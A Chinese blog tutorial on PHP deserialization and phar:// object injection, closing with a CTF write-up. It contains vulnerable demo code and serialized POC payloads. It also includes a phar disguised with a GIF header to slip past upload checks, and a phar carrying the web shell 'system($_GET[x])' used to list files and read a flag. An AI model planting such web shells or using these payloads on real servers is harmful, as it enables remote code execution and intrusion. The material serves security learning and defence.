php反序列化漏洞

前两天出了一道php文件读取和反序列化漏洞相结合的CTF题目。反序列化这个漏洞也是CTF的常客了,印象里第一次接触这个漏洞还是大二还是什么时候的PCTF。年代过于久远,但是当时因为并不是特别懂PHP,只是能看懂,并不会写,就一直搁置了这个问题。后来学完PHP才去了解这个漏洞,发现并不难,并不怎么需要php基础。

php序列化与反序列化

序列化就是把一个对象变为一个字符串,方便存储传输,反序列化就是将这个字符串再变成对象。

php中有两个函数serializeunserialize分别用来序列化和反序列化。

举一个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class willv
{
var $str = 'willv';
var $arr = array('first' => '1st', 'second' => '2nd');
var $num = 18;
}

$class1 = new willv();
$ser1 = serialize($class1);
print_r($ser1);
echo "<br>";
if (is_string($ser1)) {
echo "is string";
}
echo "<br>";
var_dump(unserialize($ser1));

?>

输出如下:

1
2
3
O:5:"willv":3:{s:3:"str";s:5:"willv";s:3:"arr";a:2:{s:5:"first";s:3:"1st";s:6:"second";s:3:"2nd";}s:3:"num";i:18;}
is string
object(willv)#2 (3) { ["str"]=> string(5) "willv" ["arr"]=> array(2) { ["first"]=> string(3) "1st" ["second"]=> string(3) "2nd" } ["num"]=> int(18) }

输出的第一行就是对$class1对象序列化生成的字符串,从左至右的意思分别是:

1
2
3
4
5
6
7
8
O -> (object)表示存储的是对象(也有可能是数组,就是a了)
5 -> 对象名有5个字符
"willv" -> 对象名
3 -> 对象里有3个变量
s -> 数据类型 string
5 -> 字符串长度
"willv" -> 字符串内容
……后面类似,a就是数组,i是int

php反序列化漏洞

php反序列化漏洞也叫php对象注入漏洞。当unserialize内容可控就可以触发反序列化漏洞,控制php内部对象变量以及函数。

魔术方法

在反序列化漏洞中,有4个魔术方法比较重要。(并不是其他的不重要,只不过这四个直接关系到序列化和反序列化本身,如果有其他的魔术方法也可以使用)

1
2
3
4
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__sleep() 在对象在被序列化之前运行
__wakeup() 将在序列化之后立即被调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class willv
{
var $str = 'willv';

function __construct()
{
echo "<br>__construct执行";
}

function __destruct()
{
echo "<br>__destruct执行";
}

function __wakeup()
{
echo "<br>__wakeup执行";
}
}

$class1 = new willv();
$ser1 = serialize($class1);
echo "<br>";
print_r($ser1);
$unser1 = 'O:5:"willv":1:{s:3:"str";s:5:"willv";}';
echo "<br>";
print_r("反序列化");
unserialize($unser1);
echo "<br>";

?>
1
2
3
4
5
6
7
8

__construct执行
O:5:"willv":1:{s:3:"str";s:5:"willv";}
反序列化
__wakeup执行
__destruct执行

__destruct执行

两次__destruct是分别对序列化的对象和反序列化的对象进行析构,反序列化并不会触发__construct构造。

wakeup

unserialize()__wakeup()__destruct()会自动调用。如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很反序列化漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class willv
{
var $str = 'willv';

function __wakeup()
{
echo "<br>";
echo $this->str;
}
}

if (isset($_GET['test'])) {
$ser = $_GET['test'];
print_r($ser);
unserialize($ser);
}

?>

针对上面的代码,我们就可以构造:

1
2
3
4
5
<?php
$poc = new willv();
$poc->str = 'hacked!';
print_r(serialize($poc));
?>

序列化为:O:5:"willv":1:{s:3:"str";s:7:"hacked!";}

请求?test=O:5:"willv":1:{s:3:"str";s:7:"hacked!";},页面输出hacked!并不是willv。这就是最简单的一种php反序列化漏洞的利用。

当然,除了__wakeup以外,很多函数都可以利用。

其他魔术方法

虽然反序列化只直接调用__wakeup()__destruct(),但并不意味着__construct()等不可利用。有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,找到漏洞点。

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class willv
{
var $str = 'willv';

function __wakeup()
{
$obj1 = new willv2($this->str);
}
}

class willv2
{
function __construct($test)
{
echo "<br>$test";
}
}

if (isset($_GET['test'])) {
$ser = $_GET['test'];
print_r($ser);
unserialize($ser);
}

?>

这里就触发了__construct()

普通成员方法

前面谈到的利用都是基于“自动调用”的魔术方法。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class willv
{
var $test;
function __construct(){
$this->test = new test1();
}
function __destruct(){
$this->test->dosomethings();
}
}

class test1
{
function dosomethings(){
echo "nothing";
}
}

class test2
{
var $here;
function dosomethings(){
echo "<br>$this->here";
}
}

if (isset($_GET['test'])) {
$ser = $_GET['test'];
print_r($ser);
unserialize($ser);
}

?>

这个代码,正常情况下,是不会执行到类test2的。使用相同的函数名构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class willv
{
var $test;
function __construct(){
$this->test = new test2();
}
}
class test2
{
var $here="bingo";
}
print_r(serialize(new willv()));
?>

得到O:5:"willv":1:{s:4:"test";O:5:"test2":1:{s:4:"here";s:5:"bingo";}}传参利用成功。

phar扩大攻击面

phar常常与文件上传和文件读取相结合在一起。phar的利用我最开始是在2019TSec腾讯安全探索论坛上了解到的,当时演讲者利用一个mysql的漏洞结合phar实现了RCE,去除漏洞细节的PPT也公布了:Comprehensive analysis of the mysql client attack chain.pdf)

2018年blackhat大会上,来自Secarma的安全研究员Sam Thomass发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php反序列化漏洞。

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。

phar

phar结构

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://zlib://php://phar://也是流包装的一种,它由4部分组成:

1. a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

demo

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问这个php,会在目录下生成一个phar.phar文件。

使用编辑器可以查看这个文件,可以明显的看到meta-data是以序列化的形式存储的:

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

这里,就可以触发反序列化漏洞了。

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

2020腾讯T-Star犀牛鸟靶场赛Phar反序列化

手里只有writeup了,题目代码当时没保存。

题目是文件包含Getshell,提示文件包含phar

index注释中有lfi.txt,里面是lfi.php的源码。提示了phar,那么构造phar并生成。因为只能上传txt,就把后缀改成txt上传。

访问http://92d5b8bf.yunyansec.com/lfi.php?file=phar://files/TyzMmm61j7UxZnCD.txt/shell&x=ls

成功列目录。看到flag.php,

读取http://92d5b8bf.yunyansec.com/lfi.php?file=phar://files/TyzMmm61j7UxZnCD.txt/shell&x=cat%3C%3Eflag.php

(因为这里参数传不了空格,就用<>,即%3C%3E来代替空格执行命令)得到flag。

phar代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

try{
$p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
die('Could not open my.phar');
} catch (BadMethodCallException $e) {
echo 'technically, this cannot happen';
}

$p->startBuffering();
$p['shell.php'] = '<?php system($_GET[x]);?>';


// make a file named my.phar
$p->setStub("<?php
Phar::mapPhar('myphar.phar');
__HALT_COMPILER();");

$p->stopBuffering();

?>

(当时这道题我记得有人的WP是使用zip伪协议做的)

利用

任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。

  1. phar文件要能够上传到服务器端。

    file_exists()fopen()file_get_contents()file()等文件操作的函数

  2. 要有可用的魔术方法作为“跳板”。

  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

具体利用我这里就不写了,可以看CSS2019的PPT,或者wordpress漏洞验证

防御

  1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
  2. 严格检查上传文件的内容,而不是只检查文件头。
  3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

参考

浅谈php反序列化漏洞

最通俗易懂的PHP反序列化原理分析

利用 phar 拓展 php 反序列化漏洞攻击面

初探phar://

【CSS2019】Comprehensive analysis of the mysql client attack chain.pdf)

File Operation Induced Unserialization via the “phar://” Stream Wrapper

0%